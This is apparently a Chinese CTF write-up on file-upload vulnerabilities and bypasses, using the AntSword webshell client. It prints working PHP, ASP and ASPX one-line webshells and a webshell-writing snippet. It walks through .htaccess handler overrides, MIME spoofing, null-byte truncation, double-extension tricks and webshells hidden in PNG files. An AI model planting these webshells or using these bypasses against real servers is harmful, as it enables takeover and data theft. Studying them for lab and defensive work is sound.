宣传一波 更好的阅读体验 👉 个人blog
中国蚁剑
中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。是一款非常优秀的webshell管理工具。
通俗的讲:中国蚁剑是 一 款比菜刀还牛的shell控制端软件。
中国蚁剑推崇模块化的开发思想,遵循开源,就要开得漂亮的原则,致力于为不同层次的人群提供最简单易懂、方便直接的代码展示及其修改说明,努力让大家可以一起为这个项目贡献出力所能及的点点滴滴,让这款工具真正能让大家用得顺心、舒适,让它能为大家施展出最人性化最适合你的能力!
核心功能
- Shell代理功能
- Shell管理
- 文件管理
- 虚拟终端
- 数据库管理
- 插件市场
- 插件开发
如果只下载了antSword,启动目录里面的exe文件会自动下载AntSword加速器,记得用管理员身份下载,不然安装会失败,然后最好放到虚拟机里面,报毒就不需要管了,留下来也没有问题。第二次点击exe文件就能打开了
文件上传
1.漏洞简介
web应用程序没有对上传的文件进行安全判断或者判断条件不够严谨,导致恶意攻击者可以上传木马脚本文件到服务器中,从而执行恶意代码。
2.风险点
注册/修改个人信息处(上传头像)
敏感身份认证处(身证照片/银卡照片/个人照片……)【多为金融/借贷应用】
订单评价反馈处(上传商品照片)【淘宝/京东……】
朋友圈/空间
所有能上传操作的地方……
3.漏洞危害
获取服务器WebShell权限
查看/上传/下载对方文件(任意操作对方服务器数据)
查看数据库信息(拖库)
执行命令
挂黑页(恶搞 / 报复)
0.前提知识
1.Webshell(大马)
我们经常会看到Webshell,那么,到底什么是Webshell呢?
webshell就是以 asp、aspx、php、jsp 或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp、aspx、php或jsp后门文件与网站web服务器目录下正常的网页文件混在一起,然后就可以使用浏览器来访问该后门文件了,从而得到一个命令执行环境,以达到控制网站服务器的目的。
PHP
PHP是一种跨平台的服务器端的嵌入式脚本语言。它大量地借用C、Java 和 Perl 语言的语法,并耦合PHP自己的特性,使WEB开发者能够快速地写出动态产生页面。它支持目前绝大多数数据库。还有一点,PHP是完全免费的,不用花钱,你可以从PHP官方站点自由下载。而且你可以不受限制地获得源码,甚至可以从中加进你自己需要的特色。PHP脚本语言的文件后缀名是 .phpJSP
JSP是Sun公司推出的新一代网站开发语言,Sun公司借助自己在Java上的不凡造诣,将Java从Java应用程序和JavaApplet之外,又有新的硕果,就是JSP,JavaServerPage。JSP可以在Serverlet和JavaBean的支持下,完成功能强大的站点程序。JSP脚本语言的文件后缀名是 .jspASP
ASP全名ActiveServerPages,是MicroSoft公司开发的服务器端脚本环境,是一个WEB服务器端的开发环境,利用它可以产生和执行动态的、互动的、高性能的WEB服务应用程序。ASP采用脚本语言VBScript(Javascript)作为自己的开发语言。asp文件后缀名是 .aspASP.NET
ASP.net又称为ASP+,不仅仅是ASP的简单升级,而是微软公司推出的新一代脚本语言。他不是asp的简单升级,因为他的编程方法和asp有很大的不同,他是在服务器端靠服务器编译执行的程序代码。ASP 使用脚本语言,每次请求的时候,服务器调用脚本解析引擎来解析执行其中的程序代码,而ASP.NET 则可以使用多种语言编写,而且是全编译执行的,比ASP 快,而且,不仅仅是快的问题,有很多优点。ASP.NET基于.NET Framework的Web开发平台,不但吸收了ASP以前版本的最大优点并参照Java、VB语言的开发优势加入了许多新的特色,同时也修正了以前的ASP版本的运行错误。 他还支持很多语言的编写,比如java、c#、vb.net ,功能很强。 asp.net的文件后缀名是 .aspx几者都提供在HTML代码中混合某种程序代码、由语言引擎解释执行程序代码的能力。但JSP代码被编译成Servlet并由Java虚拟机解释执行,这种编译操作仅在对JSP页面的第一次请求时发生。在ASP/ASP.NET、PHP、JSP环境下,HTML代码主要负责描述信息的显示样式,而程序代码则用来描述处理逻辑。普通的HTML页面只依赖于Web服务器,而ASP/ASP.NET、PHP、JSP页面需要附加的语言引擎分析和执行程序代码。程序代码的执行结果被重新嵌入到HTML代码中,然后一起发送给浏览器。ASP/ASP.NET、PHP、JSP几者都是面向Web服务器的技术,客户端浏览器不需要任何附加的软件支持。
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上的操作权限。webshell常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。由于webshell其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。
一方面,webshell被站长常常用于网站管理、服务器管理等等,根据FSO权限的不同,作用有在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令等。
另一方面,被入侵者利用,从而达到控制网站服务器的目的。这些网页脚本常称为Web脚本木马,比较流行的asp或php木马,也有基于.NET的脚本木马与JSP脚本木马。
但是这里所说的木马都是些体积“庞大”的木马,也就是黑客中常称呼的” 大马 “。
2.一句话木马(小马)
因为上面所介绍webshell概念中提到的大马在现阶段的安全领域中已经被盯的非常紧了,而且各种杀毒软件和防火墙软件都对这种“大马”有了甄别能力,所以如果被渗透的web服务器中安装了防御软件的话,留下这种大马作为自己的webshell就非常困难了,于是一种新型的webshell就横空出世了,那就是一句话木马。
简单来说一句话木马就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。对于不同的语言有不同的构造方法,基本构造是首先出现的是脚本开始的标记,后边跟着的 eval 或者是 execute 是核心部分,就是获取并执行后边得到的内容,而后边得到的内容,是 request 或者是 $_POST 获取的值。如果我们通过客户端向服务器发送,那么就会让服务器执行我们发送的脚本,挂马就实现了。
一些不同脚本语言的一句话木马
php一句话木马: <?php @eval($_POST[value]); ?>
asp一句话木马: <%eval request ("value")%> 或 <% execute(request("value")) %>
aspx一句话木马: <%@ Page Language="Jscript" %> <% eval(Request.Item["value"]) %>
<?php fputs( fopen('xie.php','w') , '<? php eval($_POST[xie]) ?>' ) ; ?>
将当前目录下创建xie.php文件,并且将一句话木马写入xd.php中
3.一句话木马原理
拿php的一句话木马说明一下原理:
在PHP脚本语言中,eval(code) 的功能是将 code 组合成 php 指令,然后将指令执行,其他语言中也是使用此原理,只是函数可能不同。
<?php $a="phpinfo()"; eval("$a;");?> #就相当于执行 phpinfo(); 语句。
当利用web中的漏洞将
<?php @eval($_POST[value]);?>
一句话插入到了可以被黑客访问且能被web服务器执行的文件中时,那么我们就可以向此文件提交post数据,post方式提交数据的参数就是这个一句话中的 value,它就称为一句话木马的密码。这样提交的数据如果是正确的php语言的语句,那么就可以被一句话木马执行,从而达到黑客的恶意目的。
1.加了@后,访问上传文件的地址则不会进行报错
2.eval()函数是执行PHP代码的一个函数。意思就是eval函数里面如果是PHP代码,那么就可以执行。
3.$_POST[‘123’]是可以进行一个提交POST参数的操作
介绍了一句话木马的原理后,我们再来说下它的优缺点:
优点:短小精悍,功能强大。
缺点:容易被安全软件检测出来。为了增强隐蔽性,也出现了各种一句话木马的变形。
4.一句话木马的变形
黑客的目的,就是想尽办法给目标网站插入一句话木马,可以是一个单独的 .asp 或者是 .php,.aspx 文件,或者是隐藏在某些网页下。
在上边的例子中,php 文件很明显的 eval 可以成为一个静态特征码,webshell扫描工具可以以此为关键词,扫描到这种木马加以屏蔽。
资料参考:
1.无验证
其实整个过程就是利用一句话木马+蚁剑获取服务器权限,服务器通过限制一句话木马的上传来防御,我们要做的就是绕过
第一问无验证当然就没有限制了
首先编写php文件
上传
打开蚁剑,右键添加数据,URL是上传文件的地址,连接密码就是POST里面的
测试连接后记得点击保存(添加),然后点击链接就打开了
2.前端验证
当然还是先试试php能不能上传
(看到前端验证就想到js限制,打开f12果不其然)大概含义就是仅允许.jpg .png.gif文件上传
3个解决方案
1.禁用js
然后正常上传+蚁剑
2.删掉触发js的代码
即onsubmit="return checkfilesuffix()"
然后正常上传+蚁剑
3.使用burp
将filename=”2.php”改成filename=”2.png”,点击Intercept is on 放开拦截就能上传成功了
再用蚁剑就行了
3..htaccess
这里先了解一下什么是.htacces文件
.htaccess文件(或者”分布式配置文件”)提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
简单来说,就是我上传了一个.htaccess文件到服务器,那么服务器之后就会将我想要的特定格式的文件以php格式解析。
先看下源码(上传限制没有.htaccess)
这里有两种编写.htaccess文件的方法
1.当请求的文件名后缀是”hacker”时,服务器会用PHP解释器来处理这个文件
#<FilesMatch "hacker">开始了一个匹配文件的条件。它告诉Apache服务器,只有当请求的文件名匹配到"hacker"时,才应用接下来的配置。
#在<FilesMatch>标签内部,SetHandler application/x-httpd-php是配置指令。SetHandler指令用于设置处理请求的程序或模块。在这个例子中,它告诉Apache服务器,当文件名匹配到"hacker"时,使用PHP解释器来处理这个文件。
#application/x-httpd-php是PHP解释器的MIME类型,它告诉服务器要使用PHP来解析和执行文件。
#最后,</FilesMatch>结束了文件匹配的条件,之后的配置指令将不再受此条件约束。
<FilesMatch "hacker">
SetHandler application/x-httpd-php
</FilesMatch>
2.使该.htaccess文件所在目录及其子目录中的后缀为.jpg的文件被Apache当做php文件
# AddType application/x-httpd-php .jpg是一个配置指令,用于设置文件的MIME类型。MIME类型是一种用于描述文件内容的标准,它告诉服务器如何处理特定的文件。
# application/x-httpd-php是PHP解释器的MIME类型。这意味着当Apache服务器接收到一个请求,并且请求的文件是.jpg时,它将尝试使用PHP解释器来处理这个文件。
AddType application/x-httpd-php .jpg
先上传.htaccess
后上传php文件就行了(记得改你用的方案的后缀)+蚁剑
不过提一嘴这个文件不是允许访问的
4.MIME绕过
MIME((Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。
它是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。
多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式每个MIME类型由两部分组成,前面是数据的大类别,例如声音 audio、图象 Image等,后面定义具体的种类。
常见的MME类型,例如:
超文本标记语言文本 .html,html text/htm
普通文本 .txt text/plain
RTF文本. rtf application/rtf
GIF图形 .gif image/gif
JPEG图形 . jpg image/jpeg
MIME类型校验就是我们在上传文件到服务端的时候,服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测,如果是白名单所允许的,则可以正常上传,否则上传失败。
先看源码,没有发现限制
上传的时候我直接上传1.php是失败的,但是我尝试上传2.png没有报错
说明image/gif
是在白名单的
使用burp,上传1.php并且看看格式是application/octet-stream : 二进制流数据(如常见的文件下载)
,修改成image/gif
,上传成功
老样子+蚁剑
值得一提的是
第一次上传2.jpg虽然成功,但是我在访问文件地址看到报错。上传1.php成功,而且访问页面成功,所以我在这里猜测MIME只管在上传文件到服务端的时候,尽管Content-Type修改成
image/gif
,但是服务器在识别文件的时候还是看后缀来编译(个人猜测,请大佬指正)
5.00截断
0x00 , %00 , /00 之类的截断,都是一样的,只是不同表示而已。
在url中 %00 表示ascll码中的 0 ,而ascii中0作为特殊字符保留,是字符串的结束标识符,所以当url中出现%00时就会认为读取已结束。
攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。
00截断的限制条件:
PHP<5.3.29,且GPC关闭
# 5.3.4及以上已经修复该问题
数据包中必须含有上传后文件的目录情况才可以用,比如数据包中存在path: uploads/,那么攻击者可以通过修改path的值来构造paylod: uploads/1.php%00
那么我们为什么要这样构造呢?
服务器上传的时候读取文件是从右向左读取,相反Apache服务是从左向右读取文件的
先试1.php老样子不行,再试1.png成功开始截断
这里我试了很多次,发现不管上传1.php还是1.png只要你在filename后面写的时候用png就行了,在第一行POST路径上写*.php%00.png
,可以换成其他名字(其实就是重命名),我直接放结果
值得注意的是蚁剑添加数据的url不能直接用,因为他显示的是具体路径(var/www/....),但其实只能通过/upload访问,比如说/upload/3.php
这个才是蚁剑需要填入的url
最后是关于几个问答
1.我们为什么不可以直接改文件名为:1.php%00png
呢?
先分析源码
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension']; //首先取到上传文件的扩展名$ext
$whitelist = array("jpg", "png", "gif"); //将扩展名与白名单进行匹配,为jpg、png或gif才能通过第一次过滤
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext; //扩展名匹配之后,为上传的文件构造了一个新的存储路径$des
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
echo "<script>alert('上传成功')</script>";
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "文件类型不匹配";
}
}
根据代码可知:
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
# 该路径基于GET参数"road"、一个随机数、当前日期时间和一个扩展名。
当我们上传文件之后,会移动我们上传文件的路径到des中,而des是前面的路经和随机数以及字符串拼接所称的路径,但我们蚁剑连接需要确切的路径,因此修改文件名00截断不可行!
由于我们上传的文件就是png格式的,那么直接在/?road=/var/www/html/upload/后(burp第一行)构造1.php%00,这里的%00就是为了和我们上传文件的类型png进行截断!
2.为什么会有随机字符串的png文件
那是我上传的png文件,但是在服务器端被修改名字了
因此在POST参数road进行截断,也就是第一行,可以避免上述情况
因此尽管我上传的是php文件,用%00修改了filename=”1.png%002.png”,上传能够成功,但是因为没有修改第一行只会生成随机的****.png
参考资料:
大佬对原理分析得很清楚关于上传中的00截断分析
CTFHub题解-技能树-Web-文件上传(.htaccess、MIME绕过、文件头检查)【二】 - 0yst3r - 博客园 (cnblogs.com)
6.双写后缀
老样子先上传1.php,肯定不。。。。欸,上传成功了???
开心太早了,一看上传的文件没有了后缀php
打开f12看一下源码,发现有一行注释,大概意思就是检测文件后缀有没有出现在黑名单里面,如果有的话替换成’‘即空字符串
# $_FILES超全局数组中获取上传文件的名字。
# $_FILES['file']['name']存储了上传文件的原始名称。
# basename()函数用于返回路径中的文件名部分,确保我们只获取文件名而不是完整的路径。
# $blacklist 是黑名单数组
# 使用str_ireplace()函数,这行代码将文件名中与黑名单中的任何扩展名匹配的部分替换为空字符串(即删除它们)。str_ireplace()是不区分大小写的,这意味着它会同时匹配大写和小写字母。
$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);
str_ireplace()只会替换第一次出现的匹配项
这意味着我们只需要把后缀名改成 pphphp
就行了
即
http://xxx.ctfhub.com:10800/upload/shell. #上传文件名:shell.php
http://xxx.ctfhub.com:10800/upload/shell.php #上传文件名:shell.pphphp
看上传的文件果然如此
7.文件头检查
先试试1.php,提心只能上传jpeg
jpg
png
gif
类型文件
这里我还是先尝试修改MIME绕过
这里先用burp抓下包,修改成Content-Type:image/png
,果不其然还是提示文件类型不正确,那么就是头部问题了
文件的扩展名是用来识别文件类型的。通过给他指定扩展名,我们可以告诉自己,也告诉操作系统我们想用什么方式打开这个文件。比如我么会把.jpg的文件默认用图片显示软件打开,.zip 文件会默认用解压软件打开等等。
然而,扩展名完全是可以随便改改的。我们可以给文件设置一个任意的扩展名,当然也可以不设置扩展名。这样一来我们就不能了解到这个文件究竟是做什么的,究竟是个什么样的文件。我们或许也会疑惑,为什么一个软件,比如视频播放器,就能用正确的方式打开.mp4 .rmvb .wmv 等等的视频?
事实上,所有的文件都是以二进制的形式进行存储的,本质上没有差别。之所以使用的方法不同,只是因为我们理解他的方式不同。在每一个文件(包括图片,视频或其他的非ASCII文件)的开头(十六进制表示)实际上都有一片区域来显示这个文件的实际用法,这就是文件头标志。
简单来说就是不同类型的文件的二进制下,开头的二进制是用来表示文件的类型的
比如说png的头部是89 50 4E 47 0D 0A
所以这题可以为了方便可以找一张png图片(尽量小,好像大了的话有限制还是上传不了?)我是截了一张很小的图,然后用记事本打开最后添加一句话小马就行
当然也要MIME绕过,看下抓的包
上传成功
然后用蚁剑就行了
看下文件的样子(原来会变成这样😮)